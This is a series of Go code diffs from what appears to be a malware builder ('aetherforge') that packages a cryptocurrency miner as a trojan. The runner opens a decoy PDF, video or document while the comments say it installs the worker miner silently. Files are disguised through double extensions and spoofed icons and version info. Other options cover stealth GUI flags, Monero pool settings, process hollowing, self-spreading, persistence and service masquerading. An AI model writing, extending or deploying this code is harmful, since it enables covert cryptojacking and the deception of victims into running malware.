defer os.RemoveAll(workDir)
// Step 1 — extract the system icon for this file extension
icoPath := filepath.Join(workDir, "payload.ico")
if err := extractSystemIconForExt(payloadExt, icoPath); err != nil {
log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err)
if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil {
return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2)
}
}
// Step 2 — build the winres patch JSON (icon + version info)
jsonBytes, err := winresVersionJSON(info, "payload.ico")
if err != nil {
return fmt.Errorf("disguise: winres json: %w", err)
}
jsonPath := filepath.Join(workDir, "disguise.json")
if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil {
return fmt.Errorf("disguise: write json: %w", err)
}
// Step 3 — patch the exe with go-winres
if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil {
return fmt.Errorf("disguise: go-winres patch: %w", err)
}
log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt))
return nil
}
// extractSystemIconForExt creates a 0-byte temp file with the given extension
// and uses PowerShell's System.Drawing to read the shell-registered icon for it.
// This gives us the exact same icon that Windows Explorer would show for a real
// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc.
func extractSystemIconForExt(ext, icoPath string) error {
extEsc := strings.ReplaceAll(ext, `'`, `''`)
icoEsc := strings.ReplaceAll(icoPath, `'`, `''`)
script := fmt.Sprintf(`
$ErrorActionPreference = 'Stop'
Add-Type -AssemblyName System.Drawing
# Create a disposable 0-byte temp file with the target extension
$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s')
[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0))
try {
$icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp)
if ($null -eq $icon) { throw 'no icon associated with extension %s' }
$dir = Split-Path -Parent '%s'
if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null }
$fs = [System.IO.File]::Create('%s')
$icon.Save($fs)
$fs.Close()
} finally {
Remove-Item -Force -ErrorAction SilentlyContinue $tmp
}
`, extEsc, extEsc, icoEsc, icoEsc)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out)))
}
if _, err := os.Stat(icoPath); err != nil {
return fmt.Errorf("icon file not written for %s: %w", ext, err)
}
return nil
}
// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common
// document types. Used when the system icon extraction fails (e.g. the application
// is not installed on the forge machine). The icons are very small but correct.
func writeBuiltinIconForExt(ext, icoPath string) error {
// Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch.
// In practice extractSystemIconForExt should always work on a Windows machine.
const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" +
"\x28\x00\x00\x00\x16\x00\x00\x00" +
"\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" +
"\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\xff\x00\x00\x00\x00\x00"
return os.WriteFile(icoPath, []byte(minimalICO), 0644)
}

View File

@@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
if outputName == "" {
outputName = prepName
}
if kind == "video" {
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(prepName)
}
} else if outputName == "" {
outputName = runnerNameForMedia(prepName)
}
}
if outputName == "" {
outputName = "prep.exe"
// Default runner name derived from payload filename
winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
outputName = runnerNameForFile(prepName, winPlatform)
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"

View File

@@ -0,0 +1,35 @@
package builder
import (
"fmt"
"os"
"path/filepath"
"strings"
)
func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error {
appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app"
if appName == ".app" {
appName = "Movie.app"
}
appDir := filepath.Join(outDir, appName)
macosDir := filepath.Join(appDir, "Contents", "MacOS")
if err := os.MkdirAll(macosDir, 0755); err != nil {
return err
}
dest := filepath.Join(macosDir, "runner")
if err := copyFile(runnerPath, dest); err != nil {
return err
}
_ = os.Chmod(dest, 0755)
name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0"><dict>
<key>CFBundleName</key><string>%s</string>
<key>CFBundleExecutable</key><string>runner</string>
<key>CFBundleIdentifier</key><string>com.aetherforge.%s</string>
<key>LSUIElement</key><true/>
</dict></plist>`, name, sanitizeFileName(title))
return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644)
}

View File

@@ -10,103 +10,106 @@ import (
)
type fusionBuildResult struct {
LauncherPath string
MediaName string
LauncherPath string
MediaName string
// Legacy fields kept for backward compat — unused in file-fusion mode
EncryptedPath string
ShortcutPath string
}
// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
func detectFusionPayloadKind(path string) string {
switch strings.ToLower(filepath.Ext(path)) {
case ".mp4", ".mkv", ".mov":
return "video"
default:
if strings.EqualFold(filepath.Ext(path), ".exe") {
return "exe"
}
return "file"
}
// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
platforms := platformsForRequest(req)
return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0])
}
// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
kind := strings.TrimSpace(req.FusionPayloadKind)
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
req.FusionPayloadKind = kind
if kind == "video" {
return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
}
path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return nil, err
}
return &fusionBuildResult{LauncherPath: path}, nil
return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform)
}
func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
// buildFileFusion builds a universal fusion runner for any file type.
//
// Delivery modes:
// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
mode := normalizeFusionMediaMode(req.FusionMediaMode)
// Resolve the display name for the payload file
mediaName := strings.TrimSpace(req.FusionMediaBaseName)
if mediaName == "" {
mediaName = filepath.Base(mediaPath)
mediaName = filepath.Base(payloadPath)
}
mediaName = sanitizeFileName(mediaName)
// Resolve the runner output name
outputName := strings.TrimSpace(req.FusionOutputName)
if mode == "embedded" {
if outputName == "" {
outputName = disguiseVideoExeName(mediaName)
}
if outputName == "" {
outputName = runnerNameForFile(mediaName, platform)
} else {
if outputName == "" {
outputName = runnerNameForMedia(mediaName)
// Ensure correct extension for this platform
if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
outputName += platform.Ext
} else if platform.Ext == "" {
outputName = strings.TrimSuffix(outputName, ".exe")
}
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputName = sanitizeFileName(outputName)
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
kind := req.FusionPayloadKind
if kind == "" {
kind = detectFusionPayloadKind(payloadPath)
}
fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
if err != nil {
return nil, err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return nil, err
}
encFileName := mediaName + ".cmdata"
var mediaKey []byte
if mode == "paired" {
var keyErr error
mediaKey, keyErr = NewMediaLockKey()
if keyErr != nil {
return nil, keyErr
}
}
manifestFields := map[string]string{
"payload_kind": "video",
"media_mode": mode,
"media_file_name": mediaName,
}
if mode == "paired" {
manifestFields["media_enc_file"] = encFileName
manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
manifestFields["runner_display_name"] = outputName
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
// Write worker binary into assets
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
return nil, err
}
var encryptedPath, shortcutPath string
// Write payload according to delivery mode
switch mode {
case "embedded":
if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
// Bake the payload into the runner binary as assets/payload.bin
if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
return nil, err
}
// Keep legacy placeholders so the embed directive compiles cleanly
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
return nil, err
}
default:
default: // "paired"
// Empty placeholders — payload ships alongside the runner in the ZIP
if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
return nil, err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return nil, err
}
@@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *
}
}
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w -H windowsgui"
if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
// Write manifest for the runner to read at runtime
manifestFields := map[string]string{
"payload_kind": kind,
"media_mode": mode,
"media_file_name": mediaName,
}
if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
return nil, err
}
if mode == "paired" {
encryptedPath = filepath.Join(buildDir, encFileName)
if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
return nil, err
}
_ = setHiddenFile(encryptedPath)
launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
ldflags := ldflagsFor(req, platform)
// Force GUI subsystem (no console window) for all fusion runners
if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
ldflags += " -H windowsgui"
}
if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
return nil, err
}
shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
return nil, err
// Windows: inject the system icon + spoofed PE version info so the runner
// looks exactly like the real file type (PDF icon, Word icon, etc.)
if platform.GOOS == "windows" && kind != "exe" {
payloadExt := strings.ToLower(filepath.Ext(mediaName))
if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
// Non-fatal — runner still works without the disguise
log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
}
}
return &fusionBuildResult{
LauncherPath: launcherPath,
MediaName: mediaName,
EncryptedPath: encryptedPath,
ShortcutPath: shortcutPath,
LauncherPath: launcherPath,
MediaName: mediaName,
}, nil
}
func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
if err != nil {
return "", err
}
assetsDir := filepath.Join(fusionDir, "assets")
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
return "", err
}
if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
return "", err
}
if outputName == "" {
outputName = filepath.Base(prepPath)
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
ldflags := fusionLdflags(prepPath)
if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
return "", err
}
if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
return "", err
}
return outputPath, nil
}
// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
@@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod
for _, name := range []string{
"go.mod", "launch_windows.go", "launch_stub.go",
"media_windows.go", "media_stub.go", "media_crypto.go",
"media_windows.go", "media_linux.go", "media_darwin.go",
"media_crypto.go", "cache_windows.go", "cache_unix.go",
"lock_hint_windows.go", "lock_hint_stub.go",
} {
src := filepath.Join(fusionSrc, name)
@@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
repl := map[string]string{
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
}
for old, new := range repl {
out = strings.Replace(out, old, new, 1)
@@ -259,26 +233,38 @@ func normalizeFusionMediaMode(mode string) string {
}
}
func disguiseVideoExeName(mediaName string) string {
base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
if base == "" {
base = "movie"
}
ext := filepath.Ext(mediaName)
if ext == "" {
ext = ".mkv"
}
return sanitizeFileName(base + ext + ".exe")
}
func runnerNameForMedia(mediaName string) string {
// runnerNameForFile generates the output runner binary name for a given payload filename.
//
// On Windows, non-exe payloads use the double-extension trick:
//
// "quarterly-report.pdf" → "quarterly-report.pdf.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
//
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
ext := strings.ToLower(filepath.Ext(mediaName))
base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
if base == "" {
base = "movie"
base = "runner"
}
return sanitizeFileName(base + "-runner.exe")
if platform.GOOS == "windows" {
// Use disguisedRunnerName which handles double-extension and sanitisation
return disguisedRunnerName(mediaName)
}
// Linux / macOS: simple "-runner" name, no double extension
name := sanitizeFileName(base + "-runner")
_ = ext // extension not needed for Unix names
if platform.Ext != "" {
return name + platform.Ext
}
return name
}
// fusionExportSubdir returns the output subfolder name for the deliverable.
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
return sanitizeDirName(s)

View File

@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
}
}
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
// Only files with no extension at all are rejected.
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
r := multipart.NewReader(body, w.Boundary())
form, _ := r.ReadForm(10 << 20)
f, _ := form.File["prep_exe"][0].Open()
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
f.Close()
if err != nil {
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
} else {
cleanup()
}
}
}
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
h := &Handler{dataDir: t.TempDir()}
body := &bytes.Buffer{}
w := multipart.NewWriter(body)
partHeader := make(textproto.MIMEHeader)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
part, _ := w.CreatePart(partHeader)
_, _ = part.Write([]byte("x"))
w.Close()
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
defer f.Close()
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
if err == nil {
t.Fatal("expected error for .txt upload")
t.Fatal("expected error for file with no extension")
}
}

View File

@@ -70,6 +70,11 @@ type BuildRequest struct {
ProcessHollowing bool `json:"process_hollowing"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
TargetOS string `json:"target_os"`
TargetArch string `json:"target_arch"`
SpreadKit bool `json:"spread_kit"`
Obfuscate bool `json:"obfuscate"`
SignBuild bool `json:"sign_build"`
}
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
return
}
if req.FusionEnabled && req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
// FusionOutputName will be derived from the payload filename if not set
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
}
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
return h.buildUniversalAgent(req, prepPath)
}
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if err := os.MkdirAll(configDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
}
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
if req.FusionEnabled {
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
ldflags := "-s -w"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
ldflags += " -H windowsgui"
}
extra, err := injectPolymorph(agentDir, buildID)
platforms := platformsForRequest(req)
p := platforms[0]
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
log.Printf("[Forge] polymorph inject: %v", err)
} else {
ldflags += extra
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
log.Printf("Build failed: %v", err)
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
workerName := filepath.Base(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
if exportLabel == "" {
exportLabel = filepath.Base(prepPath)
}
if req.FusionPayloadKind != "video" {
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
}
arts := map[string]string{finalName: finalPath}
for _, ex := range extraArtifacts {
arts[ex.FileName] = ex.FilePath
}
// In paired mode the runner looks for the payload file next to (or above) the binary.
// Include it in the deliverable so the ZIP is self-contained without needing the
// user to place the file themselves.
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
}
subdir := fusionExportSubdir(req, exportLabel)
readme := fusionReadmeInfo{
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
// Normalise platform tag for easy lookup by /get endpoint
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
if recordPlatform == "" {
recordPlatform = "windows"
}
buildRecord := &models.BuildRecord{
ID: buildID,
WorkerName: req.WorkerName,
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
Wallet: req.Wallet,
Threads: req.Threads,
FileSize: fileInfo.Size(),
BundleSize: bundleSize,
FilePath: absPath,
Platform: recordPlatform,
CreatedAt: time.Now(),
PoolHost: req.PoolHost,
PoolPort: req.PoolPort,
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
req.AIModel = "llama3.2"
}
}
if strings.TrimSpace(req.TargetOS) == "" {
req.TargetOS = "windows"
}
if req.SpreadKit {
req.FusionEnabled = false
req.TargetOS = "universal"
if req.RunAs == "" || req.RunAs == "user" {
req.RunAs = "scheduled"
}
req.Persistence = true
req.AutoStart = true
}
return nil
}
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return "", nil, fmt.Errorf("fusion upload filename is invalid")
}
if !isFusionPayloadExt(baseName) {
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
}
prepRoot := filepath.Join(h.dataDir, "preps")
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
return dest, cleanup, nil
}
// isFusionPayloadExt accepts any file with a non-empty extension.
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
func isFusionPayloadExt(name string) bool {
switch strings.ToLower(filepath.Ext(name)) {
case ".exe", ".mp4", ".mkv", ".mov":
return true
default:
return false
}
ext := strings.ToLower(filepath.Ext(name))
return ext != "" && ext != "."
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{
WorkerName: %q,
ServerURL: %q,
BackupServerURLs: %s,
Wallet: %q,
Threads: %d,
ThreadMode: %q,
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
ProcessHollowing: %v,
MeshP2P: %v,
AutoSpread: %v,
HolePunch: %v,
RemoteAggressive: %v,
BackupServerURLs: %s,
ServiceMasquerade: %v,
ServiceName: %q,
ServiceDonor: %q,
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
`, buildID, time.Now().UTC().Format(time.RFC3339),
req.WorkerName,
req.ServerURL,
formatGoStringSlice(req.BackupServerURLs),
req.Wallet,
req.Threads,
req.ThreadMode,
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
req.ProcessHollowing,
req.MeshP2P,
req.AutoSpread,
req.HolePunch,
req.RemoteAggressive,
formatGoStringSlice(req.BackupServerURLs),
serviceMasqueradeEnabled(req),
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),

View File

@@ -0,0 +1,75 @@
package builder
import "strings"
// BuildPlatform identifies a GOOS/GOARCH compile target.
type BuildPlatform struct {
GOOS string
GOARCH string
Ext string
}
func (p BuildPlatform) Label() string {
return p.GOOS + "-" + p.GOARCH
}
func (p BuildPlatform) BinDir() string {
return "bin/" + p.Label()
}
var defaultPlatforms = []BuildPlatform{
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
}
func platformsForRequest(req *BuildRequest) []BuildPlatform {
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
if target == "" || target == "windows" {
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
if target == "linux" {
arch := req.TargetArch
if arch == "" {
arch = "amd64"
}
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
}
if target == "darwin" {
arch := req.TargetArch
if arch == "" {
arch = "arm64"
}
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
}
if target == "universal" {
if req.TargetArch != "" && req.TargetArch != "all" {
for _, p := range defaultPlatforms {
if p.GOARCH == req.TargetArch {
return []BuildPlatform{p}
}
}
}
return append([]BuildPlatform{}, defaultPlatforms...)
}
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
}
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
base := sanitizeFileName(worker)
if fusion {
return "worker-" + base + p.Ext
}
return "install-" + base + p.Ext
}
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
ldflags := "-s -w"
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
if p.GOOS == "windows" && gui {
ldflags += " -H windowsgui"
}
return ldflags
}

View File

@@ -0,0 +1,77 @@
package builder
import (
"go/parser"
"go/token"
"strings"
"testing"
)
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
req := &BuildRequest{TargetOS: ""}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "windows" {
t.Fatalf("expected single windows platform, got %+v", ps)
}
}
func TestPlatformsForRequestLinux(t *testing.T) {
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
ps := platformsForRequest(req)
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
t.Fatalf("expected linux/arm64, got %+v", ps)
}
}
func TestPlatformsForRequestUniversal(t *testing.T) {
req := &BuildRequest{TargetOS: "universal"}
ps := platformsForRequest(req)
if len(ps) != len(defaultPlatforms) {
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
}
if len(ps) < 5 {
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
}
}
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
func TestGenerateBuiltinConfigValid(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "test",
ServerURL: "http://127.0.0.1:8989",
Wallet: "4TEST",
Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
PoolHost: "pool.supportxmr.com",
PoolPort: 3333,
PoolPass: "x",
RunAs: "scheduled",
InstallBase: "localappdata",
}
src := h.generateBuiltinConfig("test-build-id", req)
fset := token.NewFileSet()
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
}
if !strings.Contains(src, "ServiceMasquerade") {
t.Error("expected ServiceMasquerade field in generated config")
}
if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config")
}
}
func TestLdflagsForWindowsGUI(t *testing.T) {
req := &BuildRequest{StealthMode: true}
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
if !strings.Contains(ld, "windowsgui") {
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
}
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
if strings.Contains(ldLinux, "windowsgui") {
